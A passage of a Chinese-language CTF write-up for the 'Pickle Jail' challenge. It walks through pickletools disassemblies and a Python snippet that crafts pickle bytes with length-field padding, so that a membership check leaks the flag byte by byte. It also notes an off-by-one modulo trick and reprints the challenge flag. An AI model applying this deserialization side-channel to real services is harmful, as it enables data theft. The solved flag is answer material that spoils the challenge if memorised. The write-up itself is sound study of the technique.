   33: C        SHORT_BINBYTES b'Sharon'
   41: \x94     MEMOIZE    (as 3)
   42: C        SHORT_BINBYTES b'Hannah'
   50: \x94     MEMOIZE    (as 4)
   51: C        SHORT_BINBYTES b'Kelli'
   58: \x94     MEMOIZE    (as 5)
   59: C        SHORT_BINBYTES b'Teresa'
   67: \x94     MEMOIZE    (as 6)
   68: C        SHORT_BINBYTES b'Thomas'
   76: \x94     MEMOIZE    (as 7)
   77: C        SHORT_BINBYTES b'Veronica'
   87: \x94     MEMOIZE    (as 8)
   88: C        SHORT_BINBYTES b'Susan'
   95: \x94     MEMOIZE    (as 9)
   96: C        SHORT_BINBYTES b'Eileen'
  104: \x94     MEMOIZE    (as 10)
  105: C        SHORT_BINBYTES b'Kristin'
  114: \x94     MEMOIZE    (as 11)
  115: C        SHORT_BINBYTES b'Christopher'
  128: \x94     MEMOIZE    (as 12)
  129: C        SHORT_BINBYTES b'Kristina'
  139: \x94     MEMOIZE    (as 13)
  140: C        SHORT_BINBYTES b'Michelle'
  150: \x94     MEMOIZE    (as 14)
  151: C        SHORT_BINBYTES b'Bryan'
  158: \x94     MEMOIZE    (as 15)
  159: C        SHORT_BINBYTES b'Jerry'
  166: \x94     MEMOIZE    (as 16)
  167: C        SHORT_BINBYTES b'Michael'
  176: \x94     MEMOIZE    (as 17)
  177: C        SHORT_BINBYTES b'Shelby'
  185: \x94     MEMOIZE    (as 18)
  186: C        SHORT_BINBYTES b'Tiffany'
  195: \x94     MEMOIZE    (as 19)
  196: C        SHORT_BINBYTES b'Erika'
  203: \x94     MEMOIZE    (as 20)
  204: C        SHORT_BINBYTES b'Robert'
  212: \x94     MEMOIZE    (as 21)
  213: C        SHORT_BINBYTES b'Courtney'
  223: \x94     MEMOIZE    (as 22)
  224: C        SHORT_BINBYTES b'Angela'
  232: \x94     MEMOIZE    (as 23)
  233: C        SHORT_BINBYTES b'Erin'
  239: \x94     MEMOIZE    (as 24)
  240: C        SHORT_BINBYTES b'Nicole'
  248: \x94     MEMOIZE    (as 25)
  249: C        SHORT_BINBYTES b'Jeffrey'
  258: \x94     MEMOIZE    (as 26)
  259: C        SHORT_BINBYTES b'Colleen'
  268: \x94     MEMOIZE    (as 27)
  269: C        SHORT_BINBYTES b'William'
  278: \x94     MEMOIZE    (as 28)
  279: C        SHORT_BINBYTES b'Deanna'
  287: \x94     MEMOIZE    (as 29)
  288: C        SHORT_BINBYTES b'James'
  295: \x94     MEMOIZE    (as 30)
  296: C        SHORT_BINBYTES b'Stacey'
  304: \x94     MEMOIZE    (as 31)
  305: C        SHORT_BINBYTES b'Terri'
  312: \x94     MEMOIZE    (as 32)
  313: C        SHORT_BINBYTES b'Sarah'
  320: \x94     MEMOIZE    (as 33)
  321: C        SHORT_BINBYTES b'Alicia'
  329: \x94     MEMOIZE    (as 34)
  330: C        SHORT_BINBYTES b'Maria'
  337: \x94     MEMOIZE    (as 35)
  338: C        SHORT_BINBYTES b'Rickey'
  346: \x94     MEMOIZE    (as 36)
  347: C        SHORT_BINBYTES b'Natalie'
  356: \x94     MEMOIZE    (as 37)
  357: C        SHORT_BINBYTES b'Richard'
  366: \x94     MEMOIZE    (as 38)
  367: C        SHORT_BINBYTES b'Garrett'
  376: \x94     MEMOIZE    (as 39)
  377: C        SHORT_BINBYTES b'Amanda'
  385: \x94     MEMOIZE    (as 40)
  386: C        SHORT_BINBYTES b'Jason'
  393: \x94     MEMOIZE    (as 41)
  394: C        SHORT_BINBYTES b'Tammy'
  401: \x94     MEMOIZE    (as 42)
  402: C        SHORT_BINBYTES b'Dana'
  408: \x94     MEMOIZE    (as 43)
  409: C        SHORT_BINBYTES b'Jamie'
  416: \x94     MEMOIZE    (as 44)
  417: C        SHORT_BINBYTES b'John'
  423: \x94     MEMOIZE    (as 45)
  424: C        SHORT_BINBYTES b'Brandi'
  432: \x94     MEMOIZE    (as 46)
  433: C        SHORT_BINBYTES b'Alejandro'
  444: \x94     MEMOIZE    (as 47)
  445: C        SHORT_BINBYTES b'Danielle'
  455: \x94     MEMOIZE    (as 48)
  456: C        SHORT_BINBYTES b'Alexandra'
  467: \x94     MEMOIZE    (as 49)
  468: C        SHORT_BINBYTES b'Brittany'
  478: \x94     MEMOIZE    (as 50)
  479: C        SHORT_BINBYTES b'Melissa'
  488: \x94     MEMOIZE    (as 51)
  489: h        BINGET     0
  491: e        APPENDS    (MARK at 22)
  492: \x8c SHORT_BINUNICODE 'flag{f0192fd3-f87f-4693-a28d-a6e24766c143}'
  536: \x94 MEMOIZE    (as 52)
  537: \x87 TUPLE3
  538: \x94 MEMOIZE    (as 53)
  539: .    STOP
highest protocol among opcodes = 4

对比

第一个

   0: \x80 PROTO      4
    2: \x95 FRAME      532
   11: C    SHORT_BINBYTES b'messir\x94]\x94' //关键位置
   22: (    MARK

多吃了字节

第二个


    0: \x80 PROTO      4
    2: \x95 FRAME      532
   11: C    SHORT_BINBYTES b'messir'
   19: \x94 MEMOIZE    (as 0)
   20: ]    EMPTY_LIST
   21: \x94 MEMOIZE    (as 1)
   22: (    MARK

注意到附件里面,需要出来三给对象,flag要是全序列化进了players,而且flag在上面那个data元组中又是最后的,_不就空了吗。、

 name, players, _ = eval("F(n).load()", safe_dic, {})
    if name in players:
        del _
        print(f"{name} joined this game, but here is no flag!")

这里其实我也保留了一个疑问,为什么不能干脆就让_空就空呗。然后 _ 是不是就是空,师傅用了一个trick

可以看到空字典的 pickle 格式:

EMPTY_DICT     = b'}'   # push empty dict

flag 的结尾是一个}

这里就直接引用woodwhale师傅的总结

那么最后的思路就是:

  • name输入自定义bytes
  • players携带flag数据
  • _ 是一个空字典,不用管

结合 if name in players 这个判断语句,我们可以单字节去爆破flag的内容

例如,name=b"flag{", players = b"一堆无用的players数据" + b"flag数据",如果name中输入的flag正确,那么就会执行print(f"{name} joined this game, but here is no flag!"),从而完成侧信道爆破

构造padding

我们该怎么去编写pickle data,题目中的players是随机生成的。而且我们的players要除了最后一个}都要吞了。

flag = "flag{"
tmp_flag = flag
tmp_flag_len = len(tmp_flag)
payload = b"C"	# bytes
payload += bytes([tmp_flag_len]) # bytes len
payload += tmp_flag.encode()	# bytes content
pad = 3 * len(players) + sum(map(len, players)) + 302 - tmp_flag_len
payload += b"B" + p32(pad) # > 256 bytes padding,配合ljust正好覆盖到 flag 删去 `}` 的最后一个字符
payload = payload.ljust(0x103, b"\xff")

前面的都好理解,主要是后面的一下代码

pad = 3 * len(players) + sum(map(len, players)) + 302 - tmp_flag_len
//每一个players都有一个字节的C+一个字节的长度识别+一个字节的记录到列表中也就是\x94,这个302我没有去深究但是应该是控制\x03\x01\x00\x00类似格式的实现

payload += b"B" + p32(pad) # > 256 bytes padding,配合ljust正好覆盖到 flag 删去 `}` 的最后一个字符
//p32(pad)将这些数据转换成四个字节的十六进制和B的数据识别长度刚好吻合
payload = payload.ljust(0x103, b"\xff")
//0x103固定这个大小就是为了B序列化的识别长度为我们想要的\x03\x01\x00\x00

例如输入以下数据:

b'C\x06flag{1B\xea\x02\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'

//C\x06flag{1 name
//B\xea\x02\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'

//\xea\x02\x00\x00的大小给不止读
xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
所以会都如后续players和flag

输入numberbytes([11])

随后得到的新的三元组的 pickle data就是

data = bytearray(b'\x80\x04\x95\xff\x02\x00\x00\x00\x00\x00\x00C\x03\x01\x00\x00C\x06flag{-B\xe8\x02\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x94]\x94(C\x06Amanda\x94C\x06Denise\x94C\x06Robert\x94C\x05Paula\x94C\x06Angela\x94C\x0bChristopher\x94C\x04Lisa\x94C\x06Tamara\x94C\x07Barbara\x94C\x07Jasmine\x94C\x06Ashley\x94C\tAlejandra\x94C\x05David\x94C\x04Alex\x94C\x05Keith\x94C\x05Billy\x94C\x06Melvin\x94C\x07William\x94C\x05Tonya\x94C\x08Jennifer\x94C\x06Brandi\x94C\x05James\x94C\x05Donna\x94C\x07Bradley\x94C\x07Theresa\x94C\x05Kayla\x94C\x05Carol\x94C\x07Kristin\x94C\x05Susan\x94C\x08Mitchell\x94C\x06Sandra\x94C\x05Kathy\x94C\x07Jeffrey\x94C\x07Michael\x94C\x05Julia\x94C\x06Nicole\x94C\x06Gloria\x94C\x05Henry\x94C\x04Cory\x94C\x07Phillip\x94C\x06Dakota\x94C\x06Daniel\x94C\x05Shawn\x94C\x08Kimberly\x94C\x07Heather\x94C\x05Jacob\x94C\x04John\x94C\x06Nathan\x94C\x05Jimmy\x94C\x04Eric\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143}\x94\x87\x94.')

//}\x94}就被识别为空列表即元组中的_={},也就不需要序列化自动就加了给空列表到里面

pickletools.dis一下

 0: \x80 PROTO      4
    2: \x95 FRAME      767
   11: C    SHORT_BINBYTES b'\x01\x00\x00'
   16: C    SHORT_BINBYTES b'flag{-'
   24: B    BINBYTES   b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x94]\x94(C\x06Amanda\x94C\x06Denise\x94C\x06Robert\x94C\x05Paula\x94C\x06Angela\x94C\x0bChristopher\x94C\x04Lisa\x94C\x06Tamara\x94C\x07Barbara\x94C\x07Jasmine\x94C\x06Ashley\x94C\tAlejandra\x94C\x05David\x94C\x04Alex\x94C\x05Keith\x94C\x05Billy\x94C\x06Melvin\x94C\x07William\x94C\x05Tonya\x94C\x08Jennifer\x94C\x06Brandi\x94C\x05James\x94C\x05Donna\x94C\x07Bradley\x94C\x07Theresa\x94C\x05Kayla\x94C\x05Carol\x94C\x07Kristin\x94C\x05Susan\x94C\x08Mitchell\x94C\x06Sandra\x94C\x05Kathy\x94C\x07Jeffrey\x94C\x07Michael\x94C\x05Julia\x94C\x06Nicole\x94C\x06Gloria\x94C\x05Henry\x94C\x04Cory\x94C\x07Phillip\x94C\x06Dakota\x94C\x06Daniel\x94C\x05Shawn\x94C\x08Kimberly\x94C\x07Heather\x94C\x05Jacob\x94C\x04John\x94C\x06Nathan\x94C\x05Jimmy\x94C\x04Eric\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143'
  773: }    EMPTY_DICT
  774: \x94 MEMOIZE    (as 0)
  775: \x87 TUPLE3
  776: \x94 MEMOIZE    (as 1)
  777: .    STOP
highest protocol among opcodes = 4
Traceback (most recent call last):
  File "test.py", line 3, in <module>
    dis(data)
  File "lib/python3.10/pickletools.py", line 2547, in dis
    raise ValueError("stack not empty after STOP: %r" % stack)
ValueError: stack not empty after STOP: [bytes]

解包后的三元组数据就是:

(b'flag{-', b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x94]\x94(C\x06Amanda\x94C\x06Denise\x94C\x06Robert\x94C\x05Paula\x94C\x06Angela\x94C\x0bChristopher\x94C\x04Lisa\x94C\x06Tamara\x94C\x07Barbara\x94C\x07Jasmine\x94C\x06Ashley\x94C\tAlejandra\x94C\x05David\x94C\x04Alex\x94C\x05Keith\x94C\x05Billy\x94C\x06Melvin\x94C\x07William\x94C\x05Tonya\x94C\x08Jennifer\x94C\x06Brandi\x94C\x05James\x94C\x05Donna\x94C\x07Bradley\x94C\x07Theresa\x94C\x05Kayla\x94C\x05Carol\x94C\x07Kristin\x94C\x05Susan\x94C\x08Mitchell\x94C\x06Sandra\x94C\x05Kathy\x94C\x07Jeffrey\x94C\x07Michael\x94C\x05Julia\x94C\x06Nicole\x94C\x06Gloria\x94C\x05Henry\x94C\x04Cory\x94C\x07Phillip\x94C\x06Dakota\x94C\x06Daniel\x94C\x05Shawn\x94C\x08Kimberly\x94C\x07Heather\x94C\x05Jacob\x94C\x04John\x94C\x06Nathan\x94C\x05Jimmy\x94C\x04Eric\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143', {})

师傅这里提到了两个坑点:

​ 这里的第一个坑点就是,输入\x10会被当做\n截断,所以需要特殊处理一下

​ 第二个坑点就是players是随机生成的,每次的数据都不一样,得计算padding长度,这里就不细谈了,直接看exp就行

还有第二种做出的方法:就是pwn师傅可能注意到的

data[num] += 1
data[num] %= 0xFF

(0xfe + 1) % 0xff = 0。

这个漏洞:如果我们输入一个长度为 0xfe 的 name,然后在 index=12 的下标对数据 +1 ,那么这个B对应的长度\xfe就成了\x0

后续解题的思想是一样的。

感想🫨😵😵‍💫:

强网杯的题目确实不一般,拿着出题人wp都要折腾好久,只能说菜就多练吧,也是理解到为什么厉害的misc手都说是是全栈佬,实在太全面了。希望以后遇到简单的能有思路吧。😅😅😅

参考连接👇:

【WP】强网杯 S8 Misc-Pickle Jail 官方题解 | WoodWhale’s Blog